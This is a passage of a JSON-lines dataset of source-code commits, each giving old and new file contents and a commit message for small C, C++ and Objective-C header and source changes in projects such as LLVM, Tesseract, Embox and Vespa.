defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","subject":"Revert \"Add support for the Python Stdout Log\"","message":"Revert \"Add support for the Python Stdout Log\"\n\nThis reverts commit 6dd58324c052cc893f6ce8f009903805185a71d1.\n","lang":"C","license":"mit","repos":"Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,kitelightning\/UnrealEnginePython,kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython,getnamo\/UnrealEnginePython,20tab\/UnrealEnginePython,Orav\/UnrealEnginePython,kitelightning\/UnrealEnginePython,kitelightning\/UnrealEnginePython,getnamo\/UnrealEnginePython,kitelightning\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython"}
{"commit":"778092838a341f1b508b4f1013c9418902200725","old_file":"unittest\/include_gunit.h","new_file":"unittest\/include_gunit.h","old_contents":"\/\/ (C) Copyright 2017, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ Portability include to match the Google test environment.\n\n#ifndef TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n#define TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n\n#include \"gtest\/gtest.h\"\n#include \"errcode.h\"            \/\/ for ASSERT_HOST\n#include \"fileio.h\"             \/\/ for tesseract::File\n\nconst char* FLAGS_test_tmpdir = \".\";\n\nclass file: public tesseract::File {\n};\n\n#define CHECK(test) ASSERT_HOST(test)\n\n#endif  \/\/ TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n","new_contents":"\/\/ (C) Copyright 2017, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ Portability include to match the Google test environment.\n\n#ifndef TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n#define TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n\n#include \"gtest\/gtest.h\"\n#include \"errcode.h\"            \/\/ for ASSERT_HOST\n#include \"fileio.h\"             \/\/ for tesseract::File\n\nconst char* FLAGS_test_tmpdir = \".\";\n\nclass file: public tesseract::File {\n};\n\n#define ARRAYSIZE(arr) (sizeof(arr) \/ sizeof(arr[0]))\n#define CHECK(test) ASSERT_HOST(test)\n\n#endif  \/\/ TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n","subject":"Add ARRAYSIZE macro for Google test environment","message":"Add ARRAYSIZE macro for Google test environment\n\nSigned-off-by: Stefan Weil <8d4c780fcfdc41841e5070f4c43da8958ba6aec0@weilnetz.de>\n","lang":"C","license":"apache-2.0","repos":"tesseract-ocr\/tesseract,stweil\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,jbarlow83\/tesseract,jbarlow83\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract,amitdo\/tesseract,jbarlow83\/tesseract,tesseract-ocr\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,jbarlow83\/tesseract,stweil\/tesseract,UB-Mannheim\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,jbarlow83\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract"}
{"commit":"e22b221f8f12b2ec8348745d91836c236b206738","old_file":"lib\/Target\/PowerPC\/PPCTargetStreamer.h","new_file":"lib\/Target\/PowerPC\/PPCTargetStreamer.h","old_contents":"\/\/===-- PPCTargetStreamer.h - PPC Target Streamer --s-----------*- C++ -*--===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_LIB_TARGET_POWERPC_PPCTARGETSTREAMER_H\n#define LLVM_LIB_TARGET_POWERPC_PPCTARGETSTREAMER_H\n\n#include \"llvm\/MC\/MCStreamer.h\"\n\nnamespace llvm {\nclass PPCTargetStreamer : public MCTargetStreamer {\npublic:\n  PPCTargetStreamer(MCStreamer &S);\n  ~PPCTargetStreamer() override;\n  virtual void emitTCEntry(const MCSymbol &S) = 0;\n  virtual void emitMachine(StringRef CPU) = 0;\n  virtual void emitAbiVersion(int AbiVersion) = 0;\n  virtual void emitLocalEntry(MCSymbolELF *S, const MCExpr *LocalOffset) = 0;\n};\n}\n\n#endif\n","new_contents":"\/\/===- PPCTargetStreamer.h - PPC Target Streamer ----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_LIB_TARGET_POWERPC_PPCTARGETSTREAMER_H\n#define LLVM_LIB_TARGET_POWERPC_PPCTARGETSTREAMER_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/MC\/MCStreamer.h\"\n\nnamespace llvm {\n\nclass MCExpr;\nclass MCSymbol;\nclass MCSymbolELF;\n\nclass PPCTargetStreamer : public MCTargetStreamer {\npublic:\n  PPCTargetStreamer(MCStreamer &S);\n  ~PPCTargetStreamer() override;\n\n  virtual void emitTCEntry(const MCSymbol &S) = 0;\n  virtual void emitMachine(StringRef CPU) = 0;\n  virtual void emitAbiVersion(int AbiVersion) = 0;\n  virtual void emitLocalEntry(MCSymbolELF *S, const MCExpr *LocalOffset) = 0;\n};\n\n} \/\/ end namespace llvm\n\n#endif \/\/ LLVM_LIB_TARGET_POWERPC_PPCTARGETSTREAMER_H\n","subject":"Fix some Include What You Use warnings; other minor fixes (NFC).","message":"[PowerPC] Fix some Include What You Use warnings; other minor fixes (NFC).\n\nThis is preparation to reduce MC headers dependencies.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@294368 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm"}
{"commit":"39dbabe79a9f56fb068ce6e17f5b068eab4226ce","old_file":"Source\/YOChartImageKit\/YOChartImageKit.h","new_file":"Source\/YOChartImageKit\/YOChartImageKit.h","old_contents":"#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for YOChartImageKit.\nFOUNDATION_EXPORT double YOChartImageKitVersionNumber;\n\n\/\/! Project version string for YOChartImageKit.\nFOUNDATION_EXPORT const unsigned char YOChartImageKitVersionString[];\n\n#import <YOChartImageKit\/YODonutChartImage.h>\n#import <YOChartImageKit\/YOBarChartImage.h>\n#import <YOChartImageKit\/YOLineChartImage.h>\n","new_contents":"#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for YOChartImageKit.\nFOUNDATION_EXPORT double YOChartImageKitVersionNumber;\n\n\/\/! Project version string for YOChartImageKit.\nFOUNDATION_EXPORT const unsigned char YOChartImageKitVersionString[];\n\n#import \"YODonutChartImage.h\"\n#import \"YOBarChartImage.h\"\n#import \"YOLineChartImage.h\"\n","subject":"Fix including framework headers' path","message":"Fix including framework headers' path\n","lang":"C","license":"mit","repos":"yasuoza\/YOChartImageKit,yasuoza\/YOChartImageKit"}
{"commit":"fe117be5cff526413fbf793081a3722528cc77c4","old_file":"tests\/regression\/46-apron2\/11-names.c","new_file":"tests\/regression\/46-apron2\/11-names.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','apron','escape']\" --set ana.base.privatization none --set ana.apron.privatization dummy\nextern int __VERIFIER_nondet_int();\n\nvoid change(int *p) {\n    int a;\n    (*p)++;\n    a++;\n    assert(a == 7); \/\/UNKNOWN!\n}\n\nint g;\nint main() {\n    int c = __VERIFIER_nondet_int();\n    int a = 5;\n    int *p = &a;\n    change(p);\n    assert(a == 5); \/\/FAIL\n    assert(a - 6 == 0); \/\/ Apron currently finds \\bot here (!)\n    return 0;\n}\n","subject":"Add exmpale of confusion between locals of different procedures :\/","message":"Add exmpale of confusion between locals of different procedures :\/\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2a6f1ae84ba32a6ee78eb386412254de98f85d04","old_file":"chapter1\/1-10\/external-longest.c","new_file":"chapter1\/1-10\/external-longest.c","old_contents":"\/\/\n\/\/ Created by matti on 16.9.2015.\n\/\/\n\n#include <stdio.h>\n\n#define MAXLINE 1000\n\nint max;\nchar line[MAXLINE];\nchar longest[MAXLINE];\n\nint getline(void);\nvoid copy(void);\n\nint main() {\n    int len;\n    extern int max;\n    extern char longest[];\n\n    max = 0;\n    while((len = getline()) > 0) {\n        if (len > max) {\n            max = len;\n            copy();\n        }\n        if (max > 0) {\n            printf(\"%s\", longest);\n        }\n        return 0;\n    }\n}\n\nint getline(void) {\n    int c, i;\n    extern char line[];\n\n    for(i = 0; i < MAXLINE - 1 && (c=getchar()) != EOF && c != '\\n'; ++i) {\n        line[i] = c;\n        if (c == '\\n') {\n            line[i] = c;\n            ++i;\n        }\n        line[i] = '\\0';\n        return i;\n\n    }\n}","new_contents":"\/\/\n\/\/ Created by matti on 16.9.2015.\n\/\/\n\n#include <stdio.h>\n\n#define MAXLINE 1000\n\nint max;\nchar line[MAXLINE];\nchar longest[MAXLINE];\n\nint getnewline(void);\nvoid copy(void);\n\nint main() {\n    int len;\n    extern int max;\n    extern char longest[];\n\n    max = 0;\n    while((len = getnewline()) > 0) {\n        if (len > max) {\n            max = len;\n            copy();\n        }\n        if (max > 0) {\n            printf(\"%s\", longest);\n        }\n        return 0;\n    }\n}\n\nint getnewline(void) {\n    int c, i;\n    extern char line[];\n\n    for(i = 0; i < MAXLINE - 1 && (c=getchar()) != EOF && c != '\\n'; ++i) {\n        line[i] = c;\n        }\n        if (c == '\\n') {\n            line[i] = c;\n            ++i;\n        }\n        line[i] = '\\0';\n        return i;\n}\n\nvoid copy(void) {\n    int i;\n    extern char line[], longest[];\n\n    i = 0;\n\n    while((longest[i] = line[i]) != '\\0') {\n        ++i;\n    }\n}","subject":"Add 1-10 external variable example","message":"Add 1-10 external variable example\n","lang":"C","license":"mit","repos":"melonmanchan\/k-and-r"}
{"commit":"d1e8b49ce3fcca4707a5971c5f6c693e7cf6dea2","old_file":"glib\/mypaint-brush.h","new_file":"glib\/mypaint-brush.h","old_contents":"#ifndef MYPAINTBRUSHGLIB_H\n#define MYPAINTBRUSHGLIB_H\n\n#include <glib-object.h>\n\n#include <mypaint-config.h>\n\n#if MYPAINT_CONFIG_USE_GLIB\n\n#define MYPAINT_TYPE_BRUSH               (mypaint_brush_get_type ())\n#define MYPAINT_VALUE_HOLDS_BRUSH(value) (G_TYPE_CHECK_VALUE_TYPE ((value), MYPAINT_TYPE_BRUSH))\nGType mypaint_brush_get_type(void);\n\n#endif\n\n#endif \/\/ MYPAINTBRUSHGLIB_H\n","new_contents":"#ifndef MYPAINTBRUSHGLIB_H\n#define MYPAINTBRUSHGLIB_H\n\n#include <mypaint-config.h>\n\n#if MYPAINT_CONFIG_USE_GLIB\n\n#include <glib-object.h>\n#define MYPAINT_TYPE_BRUSH               (mypaint_brush_get_type ())\n#define MYPAINT_VALUE_HOLDS_BRUSH(value) (G_TYPE_CHECK_VALUE_TYPE ((value), MYPAINT_TYPE_BRUSH))\nGType mypaint_brush_get_type(void);\n\n#endif\n\n#endif \/\/ MYPAINTBRUSHGLIB_H\n","subject":"Move glib-object.h include inside USE_GLIB conditional","message":"brushlib: Move glib-object.h include inside USE_GLIB conditional\n","lang":"C","license":"isc","repos":"achadwick\/libmypaint,achadwick\/libmypaint,achadwick\/libmypaint,achadwick\/libmypaint,b3sigma\/libmypaint,b3sigma\/libmypaint,b3sigma\/libmypaint"}
{"commit":"36aff6ec2ddeadbe06c7e52af8321a8bed2552d5","old_file":"include\/llvm\/Reoptimizer\/InstLoops.h","new_file":"include\/llvm\/Reoptimizer\/InstLoops.h","old_contents":"","new_contents":"\/\/===-- InstLoops.h - interface to insert instrumentation --------*- C++ -*--=\/\/\n\/\/\n\/\/ Instrument every back edges with counters\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_REOPTIMIZERINSTLOOPS_H\n#define LLVM_REOPTIMIZERINSTLOOPS_H\n\nclass Pass;\n\n\/\/ createInstLoopsPass - Create a new pass to add counters on back edges\n\/\/\nPass *createInstLoopsPass();\n\n#endif\n    \n","subject":"Check in header file that was missing, thus broke the build","message":"Check in header file that was missing, thus broke the build\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4513 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"8ca7c103b616c4f773d9cf83ceb3c9a8098907b3","old_file":"src\/math\/float\/cexpf.c","new_file":"src\/math\/float\/cexpf.c","old_contents":"#include \"cisf.h\"\n#include \"expf.h\"\n\nfloat _Complex cexpf(float _Complex z)\n{\n    float x = z;\n    float y = cimagf(z);\n\n    if (y == 0)\n        return CMPLXF(expf_(x), y);\n\n    if (y - y) {\n        if (x == INFINITY)\n            return CMPLXF(x, y - y);\n\n        if (x == -INFINITY)\n            return 0;\n    }\n\n    return expf_(x) * cisf_(y);\n}\n","new_contents":"#include \"cisf.h\"\n#include \"expf.h\"\n\nfloat _Complex cexpf(float _Complex z)\n{\n    float x = z;\n    float y = cimagf(z);\n    double r = expf_(x);\n\n    if (y == 0)\n        return CMPLXF(r, y);\n\n    if (y - y) {\n        if (x == INFINITY)\n            return CMPLXF(x, y - y);\n\n        if (x == -INFINITY)\n            return 0;\n    }\n\n    return r * cisf_(y);\n}\n","subject":"Reduce compiled code size by storing a result of a likely-used common expression","message":"Reduce compiled code size by storing a result of a likely-used common expression\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"0ecd818dddb5d8ea73ba6dc4e1f0d54b5313bea7","old_file":"source\/common\/console_progress_bar.h","new_file":"source\/common\/console_progress_bar.h","old_contents":"","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CONSOLE_PROGRESS_BAR_H\n#define CONSOLE_PROGRESS_BAR_H\n\n#include \"common\/typedefs.h\"\n\n#include \"rlutil.h\"\n#include <cassert>\n\n\nnamespace Common {\n\nclass ConsoleProgressBar {\npublic:\n\tConsoleProgressBar();\n\nprivate:\n\tuint m_numCols;\n\tuint m_verticalOffset;\n\npublic:\n\tvoid DrawProgress(uint progress);\n\tvoid SetVerticalOffset(uint offset);\n};\n\nConsoleProgressBar::ConsoleProgressBar() \n\t: m_numCols(rlutil::tcols()),\n\t  m_verticalOffset(1) {\n}\n\nvoid ConsoleProgressBar::DrawProgress(uint progress) {\n\trlutil::locate(1, 3);\n\tstd::cout << progress << \" %\" << std::endl << std::endl;\n\n\trlutil::locate(7, m_verticalOffset);\n\tuint numberOfTicks = progress * (m_numCols - 6) \/ 100;\n\tfor (uint i = 0; i < numberOfTicks; ++i) {\n\t\tstd::cout << (char)(219);\n\t}\n\tfor (uint i = numberOfTicks; i < m_numCols - 6; ++i) {\n\t\tstd::cout << ' ';\n\t}\n}\n\nvoid ConsoleProgressBar::SetVerticalOffset(uint offset) {\n\tassert(offset <= rlutil::trows());\n\tm_verticalOffset = offset;\n}\n\n}\n\n#endif","subject":"Create a class for drawing progress bars on a console window","message":"COMMON: Create a class for drawing progress bars on a console window\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"edce59e1c03fdebc18649bbbc1ffcda3b62f101c","old_file":"lb_vector.h","new_file":"lb_vector.h","old_contents":"#ifndef LB_VECTOR_INCLUDED\n\t#include \"lb_scalar.h\"\n\t\/\/ Assume Vector to be n rows by 1 column\n\ttypedef struct {\n\t\tScalar* data;\n\t\tunsigned int length;\n\t} Vector;\n\n\tVector lb_create_vector(Scalar* data, unsigned int length);\n\tVector lb_allocate_vector(unsigned int length);\n\tvoid lbdp(Vector a, Vector b, Scalar* result);\n\tvoid lbstv(Scalar s, Vector v, Vector result);\n\t#define LB_VECTOR_INCLUDED\n#endif\n","new_contents":"#ifndef LB_VECTOR_INCLUDED\n\t#include \"lb_scalar.h\"\n\t\/\/ Assume Vector to be n rows by 1 column\n\ttypedef struct {\n\t\tScalar* data;\n\t\tunsigned int length;\n\t} Vector;\n\n\tVector lb_create_vector(Scalar* data, unsigned int length);\n\tVector lb_allocate_vector(unsigned int length);\n\tvoid lbdp(Vector a, Vector b, Scalar* result);\n\tvoid lbstv(Scalar s, Vector v, Vector result);\n\t#define lbv_iterate(vec, iter, expr) do{\\\n\t\tunsigned int iter;\\\n\t\tfor(iter=0; iter < vec.length; iter++) {\\\n\t\t\texpr;\\\n\t\t}\\\n\t} while(0);\n\t#define LB_VECTOR_INCLUDED\n#endif\n","subject":"Make it easy to iterate a vector","message":"Make it easy to iterate a vector\n","lang":"C","license":"apache-2.0","repos":"frenchrd\/laid-back-lapack,frenchrd\/laid-back-lapack"}
{"commit":"126ae8fc465f5077deb802e655c54cd2f253b623","old_file":"core\/alsp_src\/macos\/mw_alspro_prefix.h","new_file":"core\/alsp_src\/macos\/mw_alspro_prefix.h","old_contents":"#include <MacHeaders.h>\n#include <ansi_prefix.mac.h>\n#pragma once off\n#define HAVE_CONFIG_H\n#define PORT 1\n#define MACOS 1\n#define CONFIGLESS 1\n\n#include \"prefix.h\"","new_contents":"#include <MacHeaders.h>\n\/\/#include <ansi_prefix.mac.h>\n#pragma once off\n#define HAVE_CONFIG_H\n#define PORT 1\n#define MACOS 1\n#define CONFIGLESS 1\n\n#include \"prefix.h\"","subject":"Update prefix for CW Pro1","message":"Update prefix for CW Pro1\n\n","lang":"C","license":"mit","repos":"AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog"}
{"commit":"e78f728e723f15b2423c7d5556e4bf9bc47c2c6f","old_file":"searchlib\/src\/vespa\/searchlib\/queryeval\/idiversifier.h","new_file":"searchlib\/src\/vespa\/searchlib\/queryeval\/idiversifier.h","old_contents":"","new_contents":"\/\/ Copyright 2018 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <cstdint>\n\nnamespace search::queryeval {\n\nstruct IDiversifier {\n    virtual ~IDiversifier() {}\n    \/**\n     * Will tell if this document should be kept, and update state for further filtering.\n     *\/\n    virtual bool accepted(uint32_t docId) = 0;\n};\n}\n","subject":"Restructure for code reuse and hiding implementation.","message":"Restructure for code reuse and hiding implementation.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"8fa7d5b367c2a24717d022242facced25ac381df","old_file":"src\/lib\/c++\/cxx_constructors_global.c","new_file":"src\/lib\/c++\/cxx_constructors_global.c","old_contents":"\/*\n * cxx_constructors_global.c\n *\n *  Created on: 30 janv. 2013\n *      Author: fsulima\n *\/\n\n#include <embox\/unit.h>\n\nEMBOX_UNIT_INIT(cxx_init);\n\nEMBOX_UNIT_FINI(cxx_fini);\n\n#include \"cxx_invoke_constructors.h\"\n#include \"cxx_invoke_destructors.h\"\n#include \"cxx_app_startup_terminatioin.h\"\n\nstatic int cxx_init(void) {\n\tcxx_invoke_constructors();\n\treturn 0;\n}\n\nstatic int cxx_fini(void) {\n\tcxx_invoke_destructors();\n\treturn 0;\n}\n\nvoid cxx_app_startup(void) {\n}\n\nvoid cxx_app_termination(void) {\n}\n","new_contents":"\/*\n * cxx_constructors_global.c\n *\n *  Created on: 30 janv. 2013\n *      Author: fsulima\n *\/\n\n#include <embox\/unit.h>\n\n#include \"cxx_invoke_constructors.h\"\n#include \"cxx_invoke_destructors.h\"\n#include \"cxx_app_startup_termination.h\"\n\nEMBOX_UNIT(cxx_init, cxx_fini);\n\nstatic int cxx_init(void) {\n\tcxx_invoke_constructors();\n\treturn 0;\n}\n\nstatic int cxx_fini(void) {\n\tcxx_invoke_destructors();\n\treturn 0;\n}\n\nvoid cxx_app_startup(void) {\n}\n\nvoid cxx_app_termination(void) {\n}\n","subject":"Fix compilation of constructor_global module","message":"qt-pro: Fix compilation of constructor_global module","lang":"C","license":"bsd-2-clause","repos":"Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,gzoom13\/embox,Kefir0192\/embox,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,embox\/embox,gzoom13\/embox,abusalimov\/embox,mike2390\/embox,abusalimov\/embox,Kakadu\/embox,mike2390\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,vrxfile\/embox-trik,mike2390\/embox,embox\/embox,embox\/embox,Kefir0192\/embox,Kakadu\/embox,embox\/embox,vrxfile\/embox-trik,abusalimov\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,abusalimov\/embox,gzoom13\/embox,gzoom13\/embox,embox\/embox,Kakadu\/embox,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,vrxfile\/embox-trik,mike2390\/embox,mike2390\/embox,Kakadu\/embox"}
{"commit":"41b1fefc4ecf7317d4e8ca4529edde1d5fad6ac0","old_file":"Menu\/Code\/UI.h","new_file":"Menu\/Code\/UI.h","old_contents":"\/\/\n\/\/  Mapping.h\n\/\/  Menu\n\/\/\n\/\/  Created by Matt on 21\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. All rights reserved.\n\/\/\n\n#import <BRMenu\/UI\/BRMenuPlusMinusButton.h>\n#import <BRMenu\/UI\/BRMenuStepper.h>\n#import <BRMenu\/UI\/BRMenuUIStyle.h>\n","new_contents":"\/\/\n\/\/  Mapping.h\n\/\/  Menu\n\/\/\n\/\/  Created by Matt on 21\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. All rights reserved.\n\/\/\n\n#import <BRMenu\/UI\/BRMenuBackBarButtonItemView.h>\n#import <BRMenu\/UI\/BRMenuBarButtonItemView.h>\n#import <BRMenu\/UI\/BRMenuPlusMinusButton.h>\n#import <BRMenu\/UI\/BRMenuStepper.h>\n#import <BRMenu\/UI\/BRMenuUIStyle.h>\n","subject":"Include latest class additions in umbrella include.","message":"Include latest class additions in umbrella include.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu"}
{"commit":"8de044c57cd709945db364a4ac403a6a8e017a8b","old_file":"exercises\/leap\/src\/example.h","new_file":"exercises\/leap\/src\/example.h","old_contents":"#ifndef _LEAP_H\n#define _LEAP_H\n\n#include <stdbool.h>\nbool leap_year(int year);\n\n#endif\n","new_contents":"#ifndef _LEAP_H\n#define _LEAP_H\n\n#include <stdbool.h>\n\nbool is_leap_year(int year);\n\n#endif\n","subject":"Fix compiler warning in Leap","message":"Fix compiler warning in Leap\n","lang":"C","license":"mit","repos":"RealBarrettBrown\/xc,RealBarrettBrown\/xc,RealBarrettBrown\/xc"}
{"commit":"df574f0ac2acf774a874752f6421f1f6f85cb2cc","old_file":"test\/Preprocessor\/warn-macro-unused.c","new_file":"test\/Preprocessor\/warn-macro-unused.c","old_contents":"\/\/ RUN: %clang_cc1 %s -Wunused-macros -Dfoo -Dfoo -verify\n\n#include \"warn-macro-unused.h\"\n\n#define unused \/\/ expected-warning {{macro is not used}}\n#define unused\nunused\n\n\/\/ rdar:\/\/9745065\n#undef unused_from_header \/\/ no warning\n","new_contents":"\/\/ RUN: %clang_cc1 %s -Wunused-macros -Dfoo -Dfoo -verify\n\/\/ XFAIL: *\n\n#include \"warn-macro-unused.h\"\n\n#define unused \/\/ expected-warning {{macro is not used}}\n#define unused\nunused\n\n\/\/ rdar:\/\/9745065\n#undef unused_from_header \/\/ no warning\n","subject":"Test is broken; XFAIL it until Argyrios gets a chance to look at it.","message":"Test is broken; XFAIL it until Argyrios gets a chance to look at it.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@134925 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"ac62d9b1e647fa02437ea49336460e32988138b0","old_file":"HATransparentView\/HATransparentView.h","new_file":"HATransparentView\/HATransparentView.h","old_contents":"\/\/\n\/\/  HATransparentView.h\n\/\/  HATransparentView\n\/\/\n\/\/  Created by Heberti Almeida on 13\/09\/13.\n\/\/  Copyright (c) 2013 Heberti Almeida. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface HATransparentView : UIView\n\n@property (strong, nonatomic) UIColor *color;\n@property (nonatomic) CGFloat *alpha;\n\n- (void)open;\n- (void)close;\n\n@end\n","new_contents":"\/\/\n\/\/  HATransparentView.h\n\/\/  HATransparentView\n\/\/\n\/\/  Created by Heberti Almeida on 13\/09\/13.\n\/\/  Copyright (c) 2013 Heberti Almeida. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface HATransparentView : UIView\n\n- (void)open;\n- (void)close;\n\n@end\n","subject":"Fix disabled interaction on device","message":"Fix disabled interaction on device\n","lang":"C","license":"mit","repos":"ernestopino\/HATransparentView,hebertialmeida\/HATransparentView,amannayak0007\/HATransparentView"}
